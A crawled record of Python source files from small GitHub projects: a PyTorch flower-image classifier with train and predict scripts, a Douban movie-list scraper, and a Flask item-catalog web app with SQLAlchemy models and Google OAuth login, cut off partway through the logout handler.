get_model_and_optimizer(args):\n model = load_pretrained_model(args['architecture'], args['hidden_size'])\n if (args['optimizer'] == 'adam'):\n optimizer = optim.Adam(model.classifier.parameters(), lr=args['learning_rate'])\n \n return model, optimizer\n\ndef train_model(model, optimizer, learning_rate,train_loader,valid_loader,criterion,epoch_number, checkpoint_path):\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n model.to(device);\n \n epochs = epoch_number\n steps = 0\n running_loss = 0\n print_every = 50\n for epoch in range(epochs):\n save_checkpoint({\n 'model_state_dict': model.state_dict(),\n 'optimizer_state_dict': optimizer.state_dict(),\n 'epoch': epoch\n }, checkpoint_path)\n \n for inputs, labels in train_loader:\n steps += 1\n # Move input and label tensors to the default device\n inputs, labels = inputs.to(device), labels.to(device)\n \n optimizer.zero_grad()\n \n outputs = model.forward(inputs)\n\n loss = criterion(outputs, labels)\n loss.backward()\n optimizer.step()\n\n running_loss += loss.item()\n\n if steps % print_every == 0:\n test_loss = 0\n accuracy = 0\n model.eval()\n with torch.no_grad():\n for inputs, labels in valid_loader:\n inputs, labels = inputs.to(device), labels.to(device)\n outputs = model.forward(inputs)\n batch_loss = criterion(outputs, labels)\n \n test_loss += batch_loss.item()\n \n # Calculate accuracy\n ps = torch.exp(outputs)\n top_p, top_class = ps.topk(1, dim=1)\n equals = top_class == labels.view(*top_class.shape)\n accuracy += torch.mean(equals.type(torch.FloatTensor)).item()\n \n print(f\"Epoch {epoch+1}/{epochs}.. \"\n f\"Training Loss: {running_loss/print_every:.3f}.. \"\n f\"validation Loss: {test_loss/len(valid_loader):.3f}.. \"\n f\"Test Accuracy: {accuracy/len(valid_loader):.3f}\")\n running_loss = 0\n model.train()\n \ndef validation(model,test_loader,criterion):\n test_loss = 0\n accuracy = 0\n total = 0 \n correct = 0\n # Turn off gradients for validation, saves memory and computations\n with torch.no_grad():\n model.eval()\n for images, labels in testloader:\n images, labels = images.to(device), labels.to(device)\n outputs = model(images)\n test_loss += criterion(outputs, labels)\n total += labels.size(0) \n ps = torch.exp(outputs)\n top_p, top_class = ps.topk(1, dim=1)\n equals = top_class == labels.view(*top_class.shape)\n correct += torch.sum(equals.type(torch.FloatTensor)).item()\n accuracy = correct*100/total\n print('Accuracy of the network on the test images:{:.1f} %'.format(accuracy))\n \ndef save_checkpoint(state, file_path):\n torch.save(state, file_path)\n\ndef load_json(filename):\n with open(filename, 'r') as f:\n cat_to_name = json.load(f, object_pairs_hook=OrderedDict)\n class_labels = train_data.classes\n return cat_to_name,class_labels\n\ndef load_saved_model(model, optimizer, experiment):\n print(\"=> loading checkpoint '{}'\".format(experiment))\n \n checkpoint = torch.load(f'experiments/{experiment}/checkpoint.pt')\n\n model.load_state_dict(checkpoint['model_state_dict'])\n optimizer.load_state_dict(checkpoint['optimizer_state_dict'])\n epoch = checkpoint['epoch']\n return model, optimizer, epoch\n\n\ndef imshow(image, ax=None, title=None):\n \"\"\"Imshow for Tensor.\"\"\"\n if ax is None:\n fig, ax = plt.subplots()\n \n # PyTorch tensors assume the color channel is the first dimension\n # but matplotlib assumes is the third dimension\n image = image.transpose((1, 2, 0))\n \n # Undo preprocessing\n mean = np.array([0.485, 0.456, 0.406])\n std = np.array([0.229, 0.224, 0.225])\n image = std * image + mean\n \n # Image needs to be clipped between 0 and 1 or it looks like noise when displayed\n image = np.clip(image, 0, 1)\n if title is not None:\n ax.set_title(title)\n ax.imshow(image)\n \n return ax\n\ndef predict(image_path, model, cat_to_name, topk=5):\n # Predict the class (or classes) of an image using a trained deep learning model.\n model.eval()\n image = process_image(image_path)\n image_tensor = torch.from_numpy(image).type(torch.FloatTensor)\n image_tensor.resize_([1, 3, 224, 224])\n model.to('cpu')\n result = torch.exp(model(image_tensor))\n ps, index = result.topk(topk)\n ps, index = ps.detach(), index.detach()\n ps.resize_([topk])\n index.resize_([topk])\n \n ps, index = ps.tolist(), index.tolist()\n labels = []\n for i in index:\n labels.append(cat_to_name[str(i)])\n return ps, index, labels\n\ndef process_image(image):\n ''' Scales, crops, and normalizes a PIL image for a PyTorch model,\n returns an Numpy array\n '''\n img_loader = transforms.Compose([transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], \n [0.229, 0.224, 0.225])])\n \n pil_image = Image.open(image)\n pil_image = img_loader(pil_image).float()\n \n np_image = np.array(pil_image) \n \n return np_image" }, { "alpha_fraction": 0.7034943699836731, "alphanum_fraction": 0.7122302055358887, "avg_line_length": 37.156864166259766, "blob_id": "03a9199ee54eacd3d6329607f0940c4ed0e43d27", "content_id": "ed25675ecd1960dc8b520c3cb84ff43fb7cab0a0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1946, "license_type": "permissive", "max_line_length": 155, "num_lines": 51, "path": "/train.py", "repo_name": "kushaliitm/deep-learning", "src_encoding": "UTF-8", "text": "import argparse\nimport helper as hp\nimport torch\nimport os\nimport json\n\nparser = argparse.ArgumentParser(description = 'train.py')\n\nparser.add_argument('--data-dir', nargs = '*', action = \"store\", default = \"./flowers/\", help = \"folder path for data\")\nparser.add_argument('--save-dir', action = \"store\", required=True, help = \"filepath for saving checkpoint\")\nparser.add_argument('--learning-rate', action = \"store\", default = 0.001, help = \"learning rate for the optimizer\")\nparser.add_argument('--epoch-num', action = \"store\", type = int, default = 3, help = \"epoch value\")\nparser.add_argument('--architecture', action = \"store\", default = \"vgg16\", type = str, help = \"specify the neural network structure: vgg16 or densenet121\")\nparser.add_argument('--hidden-size', type = int, action = \"store\", default = 1000, help = \"state the units for fc2\")\nparser.add_argument('--optimizer', action='store', default='adam', help='Optimizer to optimize')\n\npa = parser.parse_args()\npa = vars(pa)\nprint(pa)\ndata_path = pa['data_dir']\nsave_dir = pa[\"save_dir\"]\nlearning_rate = pa['learning_rate']\narchitecture = pa['architecture']\nhidden_size = pa['hidden_size']\nepoch_number = pa['epoch_num']\n\nif (not os.path.exists(f'experiments/{save_dir}')):\n os.makedirs(f'experiments/{save_dir}')\n \nfile_path = f'experiments/{save_dir}/checkpoint.pt'\n\n# saving parameters\nwith open(f'experiments/{save_dir}/parameters.json', 'w') as f:\n json.dump(pa, f)\n \n# load the data - data_load() from help.py\nprint('Loading data')\ntrain_loader, validation_loader, test_loader = hp.load_data(data_path)\ncriterion = torch.nn.NLLLoss()\n\n# build model\nprint(f'Loading weights from {architecture}')\nmodel, optimizer = hp.get_model_and_optimizer(pa)\n\n# train model\nprint('Training model')\nhp.train_model(model, optimizer, learning_rate,train_loader,validation_loader,criterion,epoch_number, file_path)\n\n# checkpoint the model\n\nprint(\"model has been successfully trained\")\n" }, { "alpha_fraction": 0.6828225255012512, "alphanum_fraction": 0.6906628608703613, "avg_line_length": 35, "blob_id": "2826f000d8898dee656c230548e8d07fbe6ba50a", "content_id": "1e47613fbdf8a936b819dd52f570e77107b687a3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1403, "license_type": "permissive", "max_line_length": 134, "num_lines": 39, "path": "/predict.py", "repo_name": "kushaliitm/deep-learning", "src_encoding": "UTF-8", "text": "import json\nimport argparse\nimport numpy as np\nimport helper as hp\n\nparser = argparse.ArgumentParser(description = 'predict.py')\n\nparser.add_argument('--input_img', default = 'flowers/test/5/image_05159.jpg', action = \"store\", type = str, help = \"image path\")\nparser.add_argument('--checkpoint', default = 'temp', action = \"store\", type = str, help = \"path from where the checkpoint is loaded\")\nparser.add_argument('--top_k', default = 5, dest = \"top_k\", action = \"store\", type = int)\nparser.add_argument('--category_names', dest = \"category_names\", action = \"store\", default = 'cat_to_name.json')\n\npa = parser.parse_args()\npa = vars(pa)\nprint(pa)\n\nimage_path = pa['input_img']\ntopk = pa['top_k']\ninput_img = pa['input_img']\ncheckpoint_path = pa['checkpoint']\n\n\nwith open(f'experiments/{checkpoint_path}/parameters.json', 'r') as f:\n parameters = json.load(f)\n \ntraining_loader, testing_loader, validation_loader = hp.load_data()\n\n# load previously saved checkpoint\n\nmodel, optimizer = hp.get_model_and_optimizer(parameters)\nmodel, _, _ = hp.load_saved_model(model, optimizer, checkpoint_path)\n\n# load label conversion\nwith open('cat_to_name.json', 'r') as json_file:\n cat_to_name = json.load(json_file)\n\nps, index, labels = hp.predict(image_path, model, cat_to_name, topk)\nfor i in range(len(ps)):\n print(\"The probability of the flower to be {} is {:.2f} %.\".format(labels[i], ps[i] * 100))" } ]
3
hexflick/redesigned-garbanzo
https://github.com/hexflick/redesigned-garbanzo
1103ffe4222628b64dbc4283304c0c7c93d667f1
055ea5337490c44ca5d5e1038cd0f649c79c0515
361b65be2604ad911c8bd38c4ccf7fdc42f16b45
refs/heads/master
2020-04-11T07:50:20.346320
2018-12-13T10:37:53
2018-12-13T10:37:53
161,623,632
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.576171875, "alphanum_fraction": 0.591796875, "avg_line_length": 21.272727966308594, "blob_id": "86ecdc956e6a51d7ccabb4873de69d90c8098a3e", "content_id": "a8004a33c8a2d97193f642f5de77eb4f1a74f095", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1024, "license_type": "no_license", "max_line_length": 70, "num_lines": 44, "path": "/ts.py", "repo_name": "hexflick/redesigned-garbanzo", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n#-*- coding:utf-8 -*-\r\n\"\"\"\r\nPython Doubanspider\r\n\"\"\"\r\nimport urllib3,re\r\n\r\nclass DBSpr(object):\r\n\tdef __init__(self):\r\n\t\tself.DB_url = 'https://movie.douban.com/top250?start={page}&filter='\r\n\t\tself.cur_page = 1\r\n\t\tself.data = []\r\n\t\tself._top_num = 1\r\n\r\n\tdef get_page(self):\r\n\t\thttp = urllib3.PoolManager()\r\n\t\turl = self.DB_url\r\n\t\ttry:\r\n\t\t\tres = http.request('GET',url.format(page = (self.cur_page-1) * 25))\r\n\t\t\tres = res.data.decode('utf-8')\r\n\t\texcept urllib3.exceptions.NewConnectionError:\r\n\t\t\tprint('Connection failed.')\r\n\t\treturn res\r\n\r\n\tdef parse_page(self,res):\r\n\t\ttemp_list = []\r\n\t\tres_list = []\r\n\t\tregExp = r'<span\\s+class=\"title\">(.*)</span>'\r\n\t\tm = re.findall(regExp,res)\r\n\t\tfor item in m:\r\n\t\t\tclr_item = item.replace('&nbsp;','')\r\n\t\t\ttemp_list.append(clr_item)\r\n\t\tfor i in temp_list:\r\n\t\t\tif i[0] == '/':\r\n\t\t\t\tindex = len(res_list)\r\n\t\t\t\tres_list[index-1] = res_list[index-1] + i\r\n\t\t\telse:\r\n\t\t\t\tres_list.append(i)\r\n\t\tprint(res_list)\r\n\r\n\r\nDB = DBSpr()\r\nres = DB.get_page()\r\nDB.parse_page(res)\r\n" } ]
1
singhshalinis/itemCatalog
https://github.com/singhshalinis/itemCatalog
d17732cd425fd7a89f5603a722203e4e6b0cfe64
dde1797503fc87a5cfbd161c8fbb9ca3f32706bf
c178a07669489db1a1bffa77f3b6f4945cc61690
refs/heads/master
2021-01-19T16:48:03.765847
2018-10-23T05:13:20
2018-10-23T05:13:20
88,286,311
0
0
null
2017-04-14T16:58:47
2017-04-18T18:25:26
2018-10-23T05:13:20
Python
[ { "alpha_fraction": 0.6086956262588501, "alphanum_fraction": 0.6086956262588501, "avg_line_length": 20.53333282470703, "blob_id": "feebd1b4881117b50ed7fd1570df434772bd4ccb", "content_id": "a4be2e616e1162d74b9125eb64ad7461252372cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 322, "license_type": "no_license", "max_line_length": 82, "num_lines": 15, "path": "/templates/deleteCategory.html", "repo_name": "singhshalinis/itemCatalog", "src_encoding": "UTF-8", "text": "{% extends \"base.html\" %}\n\n{% block content %}\n\n<main class=\"main-content-color\">\n\n <div class=\"item-subcontainer postshadoweffect\">\n\n <div class=\"row gendisplay page-title padd\">\n <div class=\"title-desc\">Delete a Category (feature coming soon!)</div>\n </div>\n </div>\n\n</main>\n{% endblock %}" }, { "alpha_fraction": 0.6085883378982544, "alphanum_fraction": 0.6115498542785645, "avg_line_length": 27.53521156311035, "blob_id": "5ea053ac5c47bb245ade2056431fd27006bd806a", "content_id": "6b0c905c72e7f14159bad33b57b16663e334837d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2026, "license_type": "no_license", "max_line_length": 78, "num_lines": 71, "path": "/models/categories.py", "repo_name": "singhshalinis/itemCatalog", "src_encoding": "UTF-8", "text": "from sqlalchemy import Column, ForeignKey, Integer, String, DateTime, Sequence\nfrom sqlalchemy.orm import relationship\nfrom base import BaseModel, session\nfrom users import UserModel\nimport datetime\n\nclass CategoryModel(BaseModel):\n __tablename__ = 'categories'\n\n id = Column(Integer, Sequence('category_seq'), primary_key=True)\n name = Column(String(50), nullable=False, unique=True)\n desc = Column(String(80))\n created = Column(DateTime, default=datetime.datetime.now)\n\n #Relationship with User\n user_id = Column(Integer, ForeignKey(UserModel.id))\n user = relationship(UserModel)\n\n items = relationship('ItemsModel', lazy='dynamic')\n\n def __init__(self, name, desc, user_id, user):\n self.name = name\n self.desc = desc\n self.user_id = user_id\n self.user = user\n\n @property\n def serialize(self):\n \"\"\"Return object data in easily serializeable format\"\"\"\n\n all_items = []\n for i in self.items:\n all_items.append(i.serialize)\n\n str1 = {'id': self.id,\n 'name': self.name,\n 'desc': self.desc,\n 'items': all_items, }\n return str1\n\n def create_category(self):\n session.add(self)\n session.commit()\n\n def update_category(self, cat_id):\n cat = session.query(CategoryModel).filter_by(id=cat_id).first()\n cat.update({'name': self.name, 'desc': self.desc})\n session.commit()\n\n def delete_category(self):\n session.delete(self)\n session.commit()\n\n @classmethod\n def get_all(cls):\n cats = session.query(CategoryModel).all()\n return cats\n\n @classmethod\n def get_by_id(cls, cat_id):\n cat = session.query(CategoryModel).filter_by(id=cat_id).first()\n if cat:\n return cat\n return None\n\n @classmethod\n def get_by_name(cls, cat_name):\n cat = session.query(CategoryModel).filter_by(name=cat_name).first()\n if cat:\n return cat\n return None\n" }, { "alpha_fraction": 0.626622200012207, "alphanum_fraction": 0.6295884251594543, "avg_line_length": 29.30337142944336, "blob_id": "4815a148ff0890a52e831a77d1100ae6cf01c98d", "content_id": "5b3e8239f08b484205637d72f84cf704d33a0367", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2697, "license_type": "no_license", "max_line_length": 104, "num_lines": 89, "path": "/models/items.py", "repo_name": "singhshalinis/itemCatalog", "src_encoding": "UTF-8", "text": "from sqlalchemy import Column, ForeignKey, Integer, String, DateTime, Sequence\nfrom sqlalchemy.orm import relationship\nfrom base import BaseModel, session\nfrom users import UserModel\nfrom categories import CategoryModel\nimport datetime\n\nclass ItemsModel(BaseModel):\n __tablename__ = 'items'\n\n id = Column(Integer, Sequence('item_seq'), primary_key=True)\n name = Column(String(50), nullable=False, unique=True)\n desc = Column(String(80))\n image_url = Column(String(50))\n created = Column(DateTime, default=datetime.datetime.now)\n\n #Relationship with category\n category_id = Column(Integer, ForeignKey(CategoryModel.id))\n category = relationship(CategoryModel)\n\n #Relationship with User\n user_id = Column(Integer, ForeignKey(UserModel.id))\n user = relationship(UserModel)\n\n def __init__(self, name, desc, category_id, user_id):\n self.name = name\n self.desc = desc\n self.category_id = category_id\n self.user_id = user_id\n\n @property\n def serialize(self):\n \"\"\"Return object data in easily serializeable format\"\"\"\n return {\n 'id': self.id,\n 'name': self.name,\n 'desc': self.desc,\n 'category_id': self.category_id,\n }\n\n def save_to_db(self):\n session.add(self)\n session.commit()\n\n def update_item(self):\n # dbItem = session.query(ItemsModel).filter_by(id=item_id)\n # dbItem.update({'name': self.name, 'category_id': self.category.id, 'desc': self.desc})\n # session.commit()\n pass\n\n def delete_item(self):\n session.delete(self)\n session.commit()\n\n @classmethod\n def get_by_id(cls, item_id):\n item = session.query(ItemsModel).filter_by(id=item_id).first()\n if item:\n return item\n return None\n\n @classmethod\n def get_by_name(cls, item_name):\n item = session.query(ItemsModel).filter_by(name=item_name).first()\n if item:\n return item\n return None\n\n @classmethod\n def get_by_name_and_category(cls, item_name, cat_id):\n item = session.query(ItemsModel).filter_by(category_id=cat_id).filter_by(name=item_name).first()\n if item:\n return item\n return None\n\n @classmethod\n def get_all(cls):\n items = session.query(ItemsModel).all()\n return items\n\n @classmethod\n def get_new_items(cls):\n items = session.query(ItemsModel).order_by(ItemsModel.created.desc()).limit(10)\n return items\n\n @classmethod\n def get_all_in_a_category(cls, category_id):\n items = session.query(ItemsModel).filter_by(category_id=category_id).all()\n return items\n" }, { "alpha_fraction": 0.6017561554908752, "alphanum_fraction": 0.6072709560394287, "avg_line_length": 34.91730880737305, "blob_id": "85c221eaa8b141d8e71fc2f3d2e1f8d47c410ad3", "content_id": "c223aa49299334b99911fcc3c38673c526d2b2cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 18677, "license_type": "no_license", "max_line_length": 93, "num_lines": 520, "path": "/catalog.py", "repo_name": "singhshalinis/itemCatalog", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template, request, redirect, url_for, flash\nfrom flask import jsonify, make_response, session as login_session\nfrom sqlalchemy import create_engine\nfrom oauth2client.client import flow_from_clientsecrets\nfrom oauth2client.client import FlowExchangeError\nfrom oauth2client.client import OAuth2WebServerFlow\n\nimport httplib2\nimport random\nimport string\nimport json\nimport requests\nimport os\nimport sys\n\nfrom models import BaseModel, UserModel, ItemsModel, CategoryModel\n\n# database string\ndb_string = \"postgresql://postgres:postgres@localhost:5432/catalog\"\n# db_string = 'sqlite:///catalog01.db'\n\napp = Flask(__name__)\n\n# For local dev, read OAuth data from client_secrets.json\nclient_id = json.loads(open('client_secrets.json', 'r')\n .read())['web']['client_id']\nclient_secret = json.loads(open('client_secrets.json', 'r')\n .read())['web']['client_secret']\nauth_uri = json.loads(open('client_secrets.json', 'r')\n .read())['web']['auth_uri']\ntoken_uri = json.loads(open('client_secrets.json', 'r')\n .read())['web']['token_uri']\nauth_provider_x509_cert_url = json.loads(open('client_secrets.json', 'r')\n .read())['web']['auth_provider_x509_cert_url']\nscope = \"\"\nredirect_uri = \"postmessage\"\n\n# For Heroku, read from heroku config variables\n# client_id = os.environ.get('client_id')\n# client_secret = os.environ.get('client_secret')\n# scope = \"\"\n# redirect_uri = \"postmessage\"\n# auth_uri = os.environ.get('auth_uri')\n# token_uri = os.environ.get('token_uri')\n# auth_provider_x509_cert_url = os.environ.get('auth_provider_x509_cert_url')\n\n\[email protected]_first_request\ndef create_all():\n # create only once\n if not os.path.exists('init.done'):\n engine = create_engine(db_string)\n BaseModel.metadata.create_all(engine)\n admin = UserModel(username='admin', email='[email protected]')\n admin.create_user()\n seed_file = open('categories.txt', 'r')\n for line in seed_file:\n cat = line.split(':')\n category = CategoryModel(name=cat[0], desc=cat[1],\n user_id=admin.id, user=admin)\n category.create_category()\n\n # create a file to denote that setup is complete\n f = open(\"init.done\", \"x\")\n\n\n# Login & Logout\[email protected]('/login', methods=['GET'])\ndef login():\n state = ''.join(random.choice(string.ascii_uppercase + string.digits)\n for x in xrange(32))\n login_session['state'] = state\n return render_template(\"login.html\", STATE=state, client_id=client_id)\n\n\n# List all categories and latest items\[email protected]('/', methods=['GET'])\[email protected]('/catalog/', methods=['GET'])\ndef catalogList():\n cats = CategoryModel.get_all()\n items = ItemsModel.get_new_items()\n current_user = UserModel.get_by_id(login_session.get('user_id'))\n\n return render_template(\"catalog.html\", categories=cats,\n items=items, user=current_user)\n\n\n# List all items in a category\[email protected]('/catalog/<string:category_name>/items', methods=['GET'])\ndef category_items(category_name):\n category = CategoryModel.get_by_name(category_name)\n\n if category is None:\n error = 'No such category!'\n return render_template('errors.html', error=error)\n\n items = ItemsModel.get_all_in_a_category(category.id)\n current_user = UserModel.get_by_id(login_session.get('user_id'))\n\n return render_template(\"categoryItems.html\", category=category,\n items=items, user=current_user,\n noOfItems=len(items))\n\n\n# List details of one particular item\[email protected]('/catalog/<string:category_name>/<string:item_name>',\n methods=['GET'])\ndef category_item_details(category_name, item_name):\n category = CategoryModel.get_by_name(category_name)\n\n if category is None:\n error = 'No such category or item!'\n return render_template('errors.html', error=error)\n\n item = ItemsModel.get_by_name_and_category(item_name, category.id)\n current_user = UserModel.get_by_id(login_session.get('user_id'))\n\n if item is None or category is None:\n error = 'No such item!'\n return render_template('errors.html', error=error)\n\n return render_template(\"itemDetails.html\", category=category, item=item,\n user=current_user)\n\n\n# Add a particular item\[email protected]('/catalog/add', methods=['GET', 'POST'])\ndef category_item_add():\n if request.method == 'POST':\n # check if user is logged in else error\n if not login_session.get('user_id'):\n error = 'You are not logged in! Login to continue.'\n return render_template('errors.html', error=error)\n\n nm = request.form['iname']\n ds = request.form['idesc']\n ct = request.form['icategory']\n category = CategoryModel.get_by_name(ct)\n cats = CategoryModel.get_all()\n current_user = UserModel.get_by_id(login_session.get('user_id'))\n\n # check if there is a name\n if not nm or nm == \"\":\n flash('Item name needed!')\n return render_template(\"addItem.html\", categories=cats,\n user=current_user, i_name=nm, i_desc=ds,\n i_ct=ct)\n\n # check if the new item has same name\n if ItemsModel.get_by_name(nm) is not None:\n flash('Item with same name already exists, try another name.')\n return render_template(\"addItem.html\", categories=cats,\n user=current_user, i_name=nm, i_desc=ds,\n i_ct=ct)\n\n item = ItemsModel(name=nm, desc=ds, category_id=category.id,\n user_id=login_session['user_id'])\n item.save_to_db()\n return redirect(url_for('catalogList'))\n else:\n current_user = UserModel.get_by_id(login_session.get('user_id'))\n cats = CategoryModel.get_all()\n return render_template(\"addItem.html\", categories=cats,\n user=current_user)\n\n\n# Edit details of one particular item\[email protected]('/catalog/<string:item_name>/edit', methods=['GET', 'POST'])\ndef category_item_edit(item_name):\n if request.method == 'POST':\n\n # check if user is logged in\n if not login_session.get('user_id'):\n error = 'You are not logged in! Please login to continue.'\n return render_template('errors.html', error=error)\n\n nm = request.form['iname']\n ds = request.form['idesc']\n ct_name = request.form['icategory']\n id = request.form['iid']\n\n category = CategoryModel.get_by_name(ct_name)\n old_item = ItemsModel.get_by_id(id)\n\n # check if the item exists (someone else has not already deleted it)\n if old_item is None:\n error = 'No such item!'\n return render_template('errors.html', error=error)\n\n # check if this user owns the item\n if old_item.user_id != login_session['user_id']:\n error = 'You are not authorized to update this item.'\n return render_template('errors.html', error=error)\n\n # check if there were updates\n if old_item.name == nm and old_item.desc == ds and old_item.category.name == ct_name:\n error = 'Nothing to update'\n return render_template(\"errors.html\", error=error)\n else:\n # if updates, save\n # updated_item =\n # ItemModel.updateItem(old_name=old_item.name,\n # name=nm, desc=ds, category=category)\n old_item.name = nm\n old_item.desc = ds\n old_item.category = category\n old_item.save_to_db() # only save no update???\n return redirect(url_for('catalogList'))\n else:\n current_user = UserModel.get_by_id(login_session.get('user_id'))\n cats = CategoryModel.get_all()\n item = ItemsModel.get_by_name(item_name=item_name)\n\n if current_user is None:\n error = 'You are not logged in! Please login to continue.'\n return render_template('errors.html', error=error)\n\n if item is None:\n error = 'No such item!'\n return render_template('errors.html', error=error)\n\n return render_template(\"editItem.html\", item=item, categories=cats,\n user=current_user)\n\n\n# Delete details of one particular item\[email protected]('/catalog/<string:item_name>/delete', methods=['GET', 'POST'])\ndef category_item_delete(item_name):\n if request.method == 'POST':\n\n id = request.form['iid']\n item = ItemsModel.get_by_name(item_name)\n\n # check if user is logged in\n if not login_session.get('user_id'):\n error = 'You are not logged in! Please login to continue.'\n return render_template('errors.html', error=error)\n\n # check if the item exists (someone else has not already deleted it)\n if item is None:\n error = 'No such item!'\n return render_template('errors.html', error=error)\n\n # check if this user owns the item\n if item.user_id != login_session['user_id']:\n error = 'You are not authorized to delete this item.'\n return render_template('errors.html', error=error)\n\n to_be_del_item = ItemsModel.get_by_id(id)\n to_be_del_item.delete_item()\n return redirect(url_for('catalogList'))\n else:\n item = ItemsModel.get_by_name(item_name=item_name)\n current_user = UserModel.get_by_id(login_session.get('user_id'))\n\n if current_user is None:\n error = 'You are not logged in! Please login to continue.'\n return render_template('errors.html', error=error)\n\n if item is None:\n error = 'No such item!'\n return render_template('errors.html', error=error)\n\n return render_template(\"deleteItem.html\", item=item, user=current_user)\n\n\n# Misc - about\[email protected]('/contact/', methods=['GET'])\ndef contact():\n return render_template(\"contactus.html\")\n\n\n# JASON for the catalog\[email protected]('/catalog.json')\ndef category_json():\n cats = CategoryModel.get_all()\n return jsonify(CategoryModel=[c.serialize for c in cats])\n\n# @app.route('/catalog/<string:category_name>/items.json')\n# conflicting\[email protected]('/catalog/<string:category_name>.json')\ndef catalog_items_json(category_name):\n cat = CategoryModel.get_by_name(category_name)\n if cat:\n return jsonify(cat.serialize)\n else:\n response = make_response(json.dumps('Invalid category name.'), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\[email protected]('/catalog/<string:category_name>/<string:item_name>.json')\ndef item_json(category_name, item_name):\n\n item = ItemsModel.get_by_name(item_name)\n cat = CategoryModel.get_by_name(category_name)\n\n if item and cat and item.category_id == cat.id:\n return jsonify(item.serialize)\n else:\n response = make_response(json.dumps('Invalid request parameters.'), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\[email protected]('/catalog/allitems.json')\ndef items_json():\n items = ItemsModel.get_all()\n return jsonify(ItemsModel=[i.serialize for i in items])\n\n\n\n\n\n# # delete this\n# @app.route('/users', methods=['GET'])\n# def category_users():\n# users = dataSQL.getAllUsers()\n# output = \"\"\n# for user in users:\n# output += user.name\n# return output\n\n\n# Additional Functionalities for future\n# Categories\[email protected]('/catalog/category/add', methods=['GET', 'POST'])\ndef category_add():\n return render_template(\"addCategory.html\")\n\n\[email protected]('/catalog/category/<string:category>/edit', methods=['GET', 'POST'])\ndef category_edit(category):\n return render_template(\"editCategory.html\")\n\n\[email protected]('/catalog/category/<string:category>/delete',\n methods=['GET', 'POST'])\ndef category_delete(category):\n return render_template(\"deleteCategory.html\")\n\n\[email protected]('/gconnect', methods=['POST'])\ndef gconnect():\n # Validate state token\n if request.args.get('state') != login_session['state']:\n response = make_response(json.dumps('Invalid state parameter.'), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Obtain authorization code that login.html received\n code = request.data\n\n try:\n # Upgrade the authorization code into a credentials object\n oauth_flow = flow = OAuth2WebServerFlow(\n client_id=client_id,\n client_secret=client_secret,\n scope=scope,\n redirect_uri=redirect_uri,\n auth_uri=auth_uri,\n token_uri=token_uri,\n auth_provider_x509_cert_url=auth_provider_x509_cert_url\n )\n\n # Step 1\n oauth_flow.step1_get_authorize_url()\n\n # Step 2\n credentials = oauth_flow.step2_exchange(code)\n\n except FlowExchangeError:\n response = make_response(json.dumps(\n 'Failed to upgrade the authorization code.'), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Next, check that the access token is valid\n access_token = credentials.access_token\n url = ('https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=%s'\n % access_token)\n h = httplib2.Http()\n result = json.loads(h.request(url, 'GET')[1])\n\n # If there was an error in the access token info, abort.\n if result.get('error') is not None:\n response = make_response(json.dumps(result.get('error')), 500)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Verify that the access token is used for the intended user.\n gplus_id = credentials.id_token['sub']\n if result['user_id'] != gplus_id:\n response = make_response(json.dumps(\n \"Token's user ID doesn't match \\\n given user ID.\"), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Verify that the access token is valid for this app.\n if result['issued_to'] != client_id:\n response = make_response(json.dumps(\n \"Token's client ID does not match app's.\"),\n 401)\n print \"Token's client ID does not match app's.\"\n response.headers['Content-Type'] = 'application/json'\n return response\n\n stored_credentials = login_session.get('credentials')\n stored_gplus_id = login_session.get('gplus_id')\n\n if stored_credentials is not None and gplus_id == stored_gplus_id:\n response = make_response(json.dumps('Current user is already \\\n connected.'), 200)\n response.headers['Content-Type'] = 'application/json'\n return response\n # Store the access token in the session for later use.\n login_session['credentials'] = credentials.to_json()\n login_session['gplus_id'] = gplus_id\n\n # Get user info\n userinfo_url = \"https://www.googleapis.com/oauth2/v1/userinfo\"\n params = {'access_token': credentials.access_token, 'alt': 'json'}\n answer = requests.get(userinfo_url, params=params)\n data = answer.json()\n login_session['username'] = data['name']\n login_session['picture'] = data['picture']\n login_session['email'] = data['email']\n\n # Check if new user, and add to DB\n em1 = login_session['email']\n user = UserModel.get_by_email(user_email=em1)\n # print 'user_id is not none = %s' % user_id\n # login_session['user_id'] = user_id\n\n if user is None: # Its a new user\n user = UserModel(username=login_session['username'],\n email=login_session['email'])\n user.create_user()\n\n login_session['user_id'] = user.id\n # print \"created new user_id %s\" %(user.id)\n # print 'created new user_id %s' %user_id\n\n # print \"login_session['user_id']\"\n # print login_session['user_id']\n\n # print \"----------------------------------\"\n # print login_session\n # print \"----------------------------------\"\n\n output = ''\n output += '<h3>Welcome, '\n output += login_session['username']\n output += '!</h3> <br><br>'\n output += '<img src=\"'\n output += login_session['picture']\n output += ' \" style = \"width: 100px; border-radius: 50px;\"> '\n flash(\"You are now logged in as %s.\" % login_session['username'])\n return output\n\n\[email protected]('/logout')\ndef gdisconnect():\n c = login_session.get('credentials')\n print \"c is: \" + c\n access_token = None\n if c:\n json_obj = json.loads(c)\n access_token = json_obj[\"access_token\"]\n\n if access_token is None:\n print 'Access Token is None'\n response = make_response(json.dumps('Current user not connected.'),\n 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n url = 'https://accounts.google.com/o/oauth2/revoke?token=%s' % access_token\n h = httplib2.Http()\n result = h.request(url, 'GET')[0]\n\n # if the status = 200, it means we successfully revoked access\n if result['status'] == '200':\n message = 'Successfully disconnected.'\n else: # else it means that the 